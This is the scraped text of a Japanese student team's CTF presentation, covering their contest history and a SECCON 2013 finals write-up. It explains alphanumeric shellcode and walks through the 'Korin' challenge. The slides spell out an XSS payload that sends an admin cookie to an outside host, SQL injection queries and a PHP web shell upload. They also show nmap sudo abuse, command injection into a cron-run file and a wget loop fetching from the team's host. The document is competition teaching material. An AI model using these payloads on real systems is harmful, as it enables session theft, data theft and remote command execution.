Downloaded 170 times
![stage1
●
filterによる制限あり
–
isalnum(shellcode[i]) == trueでなければならない
–
shellcode中でA-Za-z0-9しか使ってはいけない](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-103-320.jpg)
![仕組み
●
使えた命令 (0xYYはisalnum(0xYY) == true)
–
–
–
–
–
–
–
–
push 0xYYYYYYYY
push (register)
pop eax, ecx, edx(他のレジスタはダメ)
xor eax, 0xYYYYYYYY(他のレジスタはダメ)
xor [register], dh
xor [register], esi
inc (register)
dec(register)](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-126-320.jpg)
![仕組み
●
eax, ecx, edxにはある程度任意の値を入れられる
–
–
●
push 0xYYYYYYYY; pop eax, ecx, edxを使う
基本的にはこの3つだけでどうにかするしかない
alnumとならない値0xZZを使うには
–
xor eax, 0xYYYYYYYYを2回行う
●
–
0 ～ 127はこれによって作ることが出来る
xor [register], dhを使う(dec edxで0xffffffffを作る)
●
●
push eax; push esp; pop eax; xor [eax], dh; pop eax
0 ～ 127と0xffのxorは128 ～ 255となる](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-131-320.jpg)
![仕組み
●
方針
–
shellcodeをメモリ上に展開するshellcodeを書く
–
xor [eax], esiでメモリ上に任意の値を与えることは可能](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-134-320.jpg)
![仕組み
●
方針
–
shellcodeをメモリ上に展開するshellcodeを書く
–
xor [eax], esiでメモリ上に任意の値を与えることは可能
–
しかし面倒くさい
●
eaxのaddrのインクリメントとesiの値の更新が必要](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-135-320.jpg)
![仕組み
●
方針
–
shellcodeをメモリ上に展開するshellcodeを書く
–
xor [eax], esiでメモリ上に任意の値を与えることは可能
–
しかし面倒くさい
●
–
eaxのaddrのインクリメントとesiの値の更新が必要
他の方法はないか？](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-136-320.jpg)
![仕組み
●
push系の命令がかなり使えるから活用したい
–
スタック上に実行を遷移出来れば嬉しい？
–
ret命令(0xC3)だけxor [eax], esiで書き込めばいけそう](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-139-320.jpg)
![Korin - 第1問
● 送信元のメールアドレスを以下のように変えてみる
● “><script>location.href=”http://192.168.5.8/”+document.
cookie</script>@gmail.com
● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす
るJavaScript
○ 自分のPCに192.168.5.8のアドレスが割り振られている
ため、自分のPCにアクセスが来る](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-153-320.jpg)
![Korin - 第3問
<?php
system($_GET[‘cmd’]);
をアップロードして実行することで、問題サーバー上でコマンド
を実行することができるようになる](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-179-320.jpg)
![Korin - FLAG
● 60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを
書くようにした
● 以下のコードをcronから動かす
while [ : ]; do
wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html;
sleep 60;
done](https://image.slidesharecdn.com/it-140305063152-phpapp01/85/CTF-223-320.jpg)
More Related Content
CTFはとんでもないものを 盗んでいきました。私の時間です…
- 1.
- 2.
- 3.
- 4.
- 5.
- 6.
- 7.
- 8.
- 9.
- 10.
- 11.
- 12.
- 13.
- 14.
- 15.
- 16.
- 17.
- 18.
- 19.
- 20. King of theHill Attack-Defenseの派生形式 問題サーバーを巡って攻防する
- 21. King of theHill FLAG FLAG 問題サーバー 問題サーバー FLAG チームA FLAG 問題サーバー FLAG チームB 解答サーバー
- 22. King of theHill FLAG FLAG 問題サーバー 問題サーバー FLAG 問題サーバー 問題サーバーの脆弱性を 使ってFLAGを盗み出す FLAG チームA FLAG チームB 解答サーバー
- 23. King of theHill FLAG 問題サーバー 問題サーバー 盗みとったFLAGを FLAG 問題サーバー 解答サーバーに送ると得点 FLAG FLAG チームA FLAG チームB 解答サーバー
- 24. King of theHill FLAG FLAG 問題サーバー 問題サーバー FLAG 問題サーバー その脆弱性を使って 自チームのFLAGを書き込むと さらに得点に FLAG チームA チームB 解答サーバー
- 25. King of theHill FLAG FLAG FLAG 相手がFLAGを書き込むのを 問題サーバー 問題サーバー 問題サーバー 阻止するのも重要 FLAG チームA チームB 解答サーバー
- 26. King of theHill 問題サーバーを攻撃してFLAGを盗む その脆弱性を利用して自チームの FLAGを書き込む 長時間書き込み続けるほど高得点に
- 27.
- 28.
- 29.
- 30.
- 31.
- 32.
- 33.
- 34.
- 35.
- 36.
- 37.
- 38.
- 39.
- 40.
- 41.
- 42.
- 43.
- 44. これまでの大会参加 CSAW CTF QualificationRound 2012 2012年9月 初めてのオンラインCTF参加 636チーム中174位
- 45. これまでの大会参加 DEFCON CTF Qualifier2013 世界最大のCTF DEFCONの予選 初めて集まって宿泊した大会 414チーム中79位
- 46. これまでの大会参加 CSAW CTF QualificationRound 2013 1383チーム中39位 高校生部門では世界1位 アメリカの大学生なら本戦に進めた
- 47. これまでの大会参加 No cON NameCTF 2013 予選13位 上位12チームが本戦参加権獲得 辞退チームが居て参加できることに
- 48. これまでの大会参加 No cON NameCTF 2013 2013年11月＠バルセロナ 初めての海外大会 カンパで渡航費を集めて参加
- 49. これまでの大会参加 No cON NameCTF 2013 King of the Hill形式 結果は6位 攻略したサーバーの保持ができず
- 50. これまでの大会参加 Codegate CTF Preliminary2014 世界で1番賞金の高い大会 283チーム中39位 U-20のJuniorの方で予選通過
- 51.
- 52.
- 53.
- 54.
- 55.
- 56. これまでの国内大会 SECCON 2013 本戦 3/1-2東京電機大学で開催 King of the Hill形式
- 57.
- 58.
- 59.
- 60.
- 61.
- 62. SECCON 2013 Finals 2tenkakuWriteup
- 63.
- 64.
- 65.
- 66.
- 67.
- 68.
- 69.
- 70.
- 71.
- 72.
- 73.
- 74.
- 75.
- 76. 競技構成 ● 競技時間は2日間 – 1日目: 13:00 ～20:00 – 2日目: 09:00 ～ 14:00
- 77. 競技構成 ● 競技時間は2日間 – – ● 1日目: 13:00 ～20:00 2日目: 09:00 ～ 14:00 King on the hill形式(前述)
- 78. 競技構成 ● 競技時間は2日間 – 1日目: 13:00 ～20:00 – 2日目: 09:00 ～ 14:00 ● King on the hill形式(前述) ● 6つのサーバー – 独立した6つのサーバーに別々の問題が存在 – その内3つは1日目の終了30分ほど前に公開
- 79.
- 80.
- 81.
- 82.
- 83.
- 84.
- 85.
- 86.
- 87.
- 88.
- 89.
- 90.
- 91.
- 92.
- 93.
- 94.
- 95.
- 96.
- 97.
- 98.
- 99.
- 100.
- 101.
- 102.
- 103.
- 104.
- 105.
- 106.
- 107.
- 108.
- 109.
- 110.
- 111.
- 112.
- 113.
- 114.
- 115.
- 116.
- 117.
- 118.
- 119.
- 120.
- 121.
- 122.
- 123.
- 124.
- 125.
- 126. 仕組み ● 使えた命令 (0xYYはisalnum(0xYY) ==true) – – – – – – – – push 0xYYYYYYYY push (register) pop eax, ecx, edx(他のレジスタはダメ) xor eax, 0xYYYYYYYY(他のレジスタはダメ) xor [register], dh xor [register], esi inc (register) dec(register)
- 127.
- 128. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – push0xYYYYYYYY; pop eax, ecx, edxを使う – 基本的にはこの3つだけでどうにかするしかない
- 129. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには
- 130. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには – xor eax, 0xYYYYYYYYを2回行う ● 0 ～ 127はこれによって作ることが出来る
- 131. 仕組み ● eax, ecx, edxにはある程度任意の値を入れられる – – ● push0xYYYYYYYY; pop eax, ecx, edxを使う 基本的にはこの3つだけでどうにかするしかない alnumとならない値0xZZを使うには – xor eax, 0xYYYYYYYYを2回行う ● – 0 ～ 127はこれによって作ることが出来る xor [register], dhを使う(dec edxで0xffffffffを作る) ● ● push eax; push esp; pop eax; xor [eax], dh; pop eax 0 ～ 127と0xffのxorは128 ～ 255となる
- 132.
- 133.
- 134.
- 135.
- 136.
- 137.
- 138.
- 139.
- 140.
- 141.
- 142.
- 143.
- 144.
- 145.
- 146. 今回紹介する問題 ● Korin ○ http://korin.tower/ ○読みは「かりんとう」らしい・・・？
- 147. Korin - 第1問 ●http://korin.tower/ ● 管理者とのコンタクトフォームがある
- 148. Korin - 第1問 ●さらに、管理者専用のページが用意されている ● アクセスすると「You are not admin!!」と怒られる...
- 149. Korin - 第1問 ●さらに、管理者専用のページが用意されている ● アクセスすると「You are not admin!!」と怒られる... ● なんとかして管理者にならなければ・・・
- 150. Korin - 第1問 ●送信するメールを工夫してみる
- 151. Korin - 第1問 ●送信するメールを工夫してみる ● 管理者がメールを見る際にJavaScriptが動けば管理者の Cookieを取得できると推測 ○ いわゆるXSS
- 152. Korin - 第1問 ●送信元のメールアドレスを以下のように変えてみる ● “><script>location.href=”http://192.168.5.8/”+document. cookie</script>@gmail.com
- 153. Korin - 第1問 ●送信元のメールアドレスを以下のように変えてみる ● “><script>location.href=”http://192.168.5.8/”+document. cookie</script>@gmail.com ● 「http://192.168.5.8/[ユーザーのcookie]」にリダイレクトす るJavaScript ○ 自分のPCに192.168.5.8のアドレスが割り振られている ため、自分のPCにアクセスが来る
- 154. Korin - 第1問 ●192.168.5.8で管理者アクセスを監視
- 155. Korin - 第1問 ●192.168.5.8で管理者アクセスを監視 ● nc -l -p 80
- 156. Korin - 第1問 ●192.168.5.8で管理者アクセスを監視 ● nc -l -p 80 ○ GET /CGISESSID=XXXXXXX... HTTP/1.1 ○ 管理者のCookieが取得できた！
- 157. Korin - 第1問 ●192.168.5.8で管理者アクセスを監視 ● nc -l -p 80 ○ GET /CGISESSID=XXXXXXX... HTTP/1.1 ○ 管理者のCookieが取得できた！ ● 取得したCookieを利用して、管理者専用ページにアクセス
- 158. Korin - 第1問 ●You are admin level2! ● 第1問突破！
- 159. Korin - 第2問 ●管理者に送信された Messageが読めるように なる
- 160. Korin - 第2問 ●メッセージのURLは ● http://korin.tower/?action=view&id=111111111111111 ● のようになっている
- 161. Korin - 第2問 ●勘でidを「’ or ‘1」にしてみる
- 162. Korin - 第2問 ●勘でidを「’ or ‘1」にしてみる ○ メッセージが表示される
- 163. Korin - 第2問 ●勘でidを「’ or ‘1」にしてみる ○ メッセージが表示される ○ SQL Injectionだとわかりますね
- 164. Korin - 第2問 ●‘ or union select 1,1,1 -- とすると欲しいデータが表示でき る！
- 165. Korin - 第2問 ●DBMSは何？
- 166. Korin - 第2問 ●DBMSは何？ ● MySQL？ ○ ‘ or union select @@version,1,1 -○ →Error
- 167. Korin - 第2問 ●DBMSは何？ ● MySQL？ ○ ‘ or union select @@version,1,1 -○ →Error ● Postgres SQL？ ○ ‘ or union select version(),1,1 -○ →Error
- 168. Korin - 第2問 ●DBMSは何？ ● MySQL？ ○ ‘ or union select @@version,1,1 -○ →Error ● Postgres SQL？ ○ ‘ or union select version(),1,1 -○ →Error ● SQLite？ ○ ‘ or union select sqlite_version(),1,1 -○ →ビンゴ！
- 169. Korin - 第2問 ●SQLiteではsqlite_masterテーブルでテーブル作成時の SQLが参照できる ○ ‘ or union all select group_concat(sql),1,1 from sqlite_master --
- 170. Korin - 第2問 ●SQLiteではsqlite_masterテーブルでテーブル作成時の SQLが参照できる ○ ‘ or union all select group_concat(sql),1,1 from sqlite_master -CREATE TABLE contact (id, name, mail, honbun), CREATE TABLE nextLVpassword (str), CREATE TABLE zdummy (dummy)
- 171. Korin - 第2問 ●‘ or union all select str,1,1 from nextLVpassword --
- 172. Korin - 第2問 ●‘ or union all select str,1,1 from nextLVpassword -○ パスワードが手に入る！ ○ パスワード入力欄に入力して次の問題へ kinoko!!
- 173. Korin - 第3問 ●2問目をクリアするとファイルアップローダが現れる
- 174. Korin - 第3問 ●試しにtest.phpをアップロードしてみる
- 175. Korin - 第3問 ●試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？
- 176. Korin - 第3問 ●試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？ ○ ファイル名にjpgが含まれていればいい
- 177. Korin - 第3問 ●試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？ ○ ファイル名にjpgが含まれていればいい ○ test.jpg.phpというファイル名でアップロード
- 178. Korin - 第3問 ●試しにtest.phpをアップロードしてみる ○ 「filename does not contain .jpg」 ○ jpgファイルしかアップロードできない？ ○ ファイル名にjpgが含まれていればいい ○ test.jpg.phpというファイル名でアップロード ○ http://korin.tower/uploaded/test.jpg.php で実行可能
- 179.
- 180. Korin - 第3問 ●サーバーに侵入後、調べていくと/home/stage4 以下に 「MyPasswordIs”stage4PassWD”」が見つかる ● これで3問目を突破！
- 181. Korin - 第4問 ●先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる
- 182. Korin - 第4問 ●先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる ● stage4:stage4PassWDでsshログインしてみる
- 183. Korin - 第4問 ●先ほど作ったphpファイルを通じて/etc/passwdを見ると、 stage4ユーザーがlogin可能であることがわかる ● stage4:stage4PassWDでsshログインしてみる ○ 入れた！
- 184. Korin - 第4問 ●/homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している
- 185. Korin - 第4問 ●/homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5?
- 186. Korin - 第4問 ●/homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5
- 187. Korin - 第4問 ●/homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5 ○ -r-------- stage5 root FLAG ○ -r-x--x--x stage5 root nmap
- 188. Korin - 第4問 ●/homeディレクトリ以下にはstage3~6のユーザーディレクト リが存在している ● stage4でログインしているから次はstage5? ● ls -al /stage5 ○ -r-------- stage5 root FLAG ○ -r-x--x--x stage5 root nmap ○ nmapを実行してFLAGを読み取る？
- 189. Korin - 第4問 ●sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG
- 190. Korin - 第4問 ●sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる
- 191. Korin - 第4問 ●sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる
- 192. Korin - 第4問 ●sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる ○ エラーの内容にFLAGの内容が出力されている！
- 193. Korin - 第4問 ●sudo -u stage5 nmap -vvvvv -iL /home/stage5/FLAG ○ FLAGをnmapする対象のアドレスが書かれたリストとし て読み込ませる ○ nmapはFLAGの内容をアドレスと認識してアクセスする が、失敗してエラーが吐かれる ○ エラーの内容にFLAGの内容が出力されている！ ○ 第4問目クリア！
- 194. Korin - FLAG ●http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる
- 195. Korin - FLAG ●http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる ● /home/stage6/public_html/index.html というファイルが存 在していることから、このファイルに書き込めばよいとわかる
- 196. Korin - FLAG ●http://korin.tower/~stage6/ にチームのFLAGを定期的に 書き込みつづけることで、点数が得られる ● /home/stage6/public_html/index.html というファイルが存 在していることから、このファイルに書き込めばよいとわかる ○ -rw-r--r-- stage6 apache index.html ○ stage6ユーザーでないと書き込めない
- 197. Korin - FLAG ●色々探した結果、/etc/crontab に怪しい記述が... ○ * * * * * stage6 /var/tmp/5to6 ■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して いる
- 198. Korin - FLAG ●色々探した結果、/etc/crontab に怪しい記述が... ○ * * * * * stage6 /var/tmp/5to6 ■ 1分ごとにstage6の権限で/var/tmp/5to6を実行して いる ● /var/5to6 はstage6ユーザーで実行されているのでは？ ○ -rw-r-xr-- stage5 apache 5to6 ■ stage5ユーザーでなら書き込める！！
- 199. Korin - FLAG ●再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test
- 200. Korin - FLAG ●再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test ● /var/tmp/5to6 # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
- 201. Korin - FLAG ●再びnmapを利用して書き込んでみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 test ● /var/tmp/5to6 # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 test # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds test に改行を入れればシェルコマンドが書き込めそう？
- 202. Korin - FLAG ●実行させたいコマンドを書いてみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “ echo ‘hoge’ >> /home/stage6/public_html/index.html”
- 203. Korin - FLAG ●実行させたいコマンドを書いてみる ○ sudo -u stage5 nmap -oN /var/tmp/5to6 -p 1 “ echo ‘hoge’ >> /home/stage6/public_html/index.html” # Nmap 6.25 scan initiated Sat Mar 1 17:54:51 2014 as: nmap -oN hoge -p 1 echo ’hoge’ >> /home/stage6/public_html/index.html # Nmap done at Sat Mar 1 17:54:57 2014 -- 1 IP address (0 hosts up) scanned in 6.08 seconds
- 204. Korin - FLAG ● 1分後、cronによって5to6が実行される ○/home/stage6/public_html/index.html に書き込まれた！ ○ チームのFLAGを書き込み続ければ得点が加算される
- 205. Korin - FLAG ● 1分後、cronによって5to6が実行される ○/home/stage6/public_html/index.html に書き込まれた！ ○ チームのFLAGを書き込み続ければ得点が加算される しかしその10分後、他のチームに動きが・・・
- 206. Korin - FLAG ●自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい
- 207. Korin - FLAG ●自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい ● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム に上書きされてしまい、FLAGを書き込めない
- 208. Korin - FLAG ●自分達の他に /var/tmp/5to6 にコマンドを書き込むユーザー が・・・ ○ どうやら他のチームに追いつかれたらしい ● せっかく /var/tmp/5to6 にコマンドを書き込んでも、他のチーム に上書きされてしまい、FLAGを書き込めない ● しかも複数のチームがFLAGを書き込んでいる場合、その得点 は山分けとなる ○ 最大20点なので、2チームが書き込むと各チーム10点、3 チームが書き込むと7点・・・
- 209. Korin - FLAG ●課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
- 210. Korin - FLAG ●課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
- 211. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！
- 212. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？
- 213. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける
- 214. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち
- 215. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする
- 216. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする ■ これだ！
- 217. Korin - FLAG ●なんとしても他のチームにFLAGを書き込ませてはいけない！ ● どうする？ ○ /var/tmp/5to6 に書き込み続ける ■ 他のチームも同様のことをしてくる ■ 同時に書き込むとロックして相討ち ○ 他のチームのssh接続をkillする ■ これだ！
- 218. Korin - FLAG ●課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない
- 219. Korin - FLAG ●自分達のFLAGを書き込み続けないといけない
- 220. Korin - FLAG ●自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい
- 221. Korin - FLAG ●自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい ○ 他のチームからssh接続切断されるようになると、 /var/tmp/5to6 に書き込めなくなる ■ 実際に切断された
- 222. Korin - FLAG ●自分達のFLAGを書き込み続けないといけない ○ 5分に1回変動するFLAGを書き込まないといけないので自 動化したい ○ 他のチームからssh接続切断されるようになると、 /var/tmp/5to6 に書き込めなくなる ■ 実際に切断された ● whileループで動かせば？
- 223. Korin - FLAG ●60秒に1回、自チームのアドレスにhttpアクセスして、FLAGを 書くようにした ● 以下のコードをcronから動かす while [ : ]; do wget -q -O - "http://192.168.5.8/" >> /home/stage6/public_html/index.html; sleep 60; done
- 224. Korin - FLAG こちらはhttpアクセスされた際に、現在の自チームのFLAGを 表示するようにしておけばよい ●競技サーバーからhttpアクセスして、FLAGを書き込んでくれる ので、こちらからsshする必要がなくなる ●
- 225. Korin - FLAG ●課題1: ○ 他のチームにFLAGを書き込ませてはいけない ● 課題2: ○ 自チームのFLAGを書き込み続けないといけない どちらもクリアすることで、FLAGポイントを独占することができ た！
- 226. Korin - まとめ ●問題1~3は典型的な脆弱性を利用したものでした ○ XSS, SQL Injection, File upload
- 227. Korin - まとめ ●問題1~3は典型的な脆弱性を利用したもの ○ XSS, SQL Injection, File upload ● FLAGは、時間が限られている中でどのようにして他のチー ムを妨害するかということが重要だった ○ あと自動化も大事！
- 228.
- 229.
- 230.
- 231.
- 232. CTFを始めるには ksnctf: http://ksnctf.sweetduet.info/ いつでも解ける問題掲載サイト DEFCON CTFQualifier 2014 2014/05/17 - 05/19
- 233.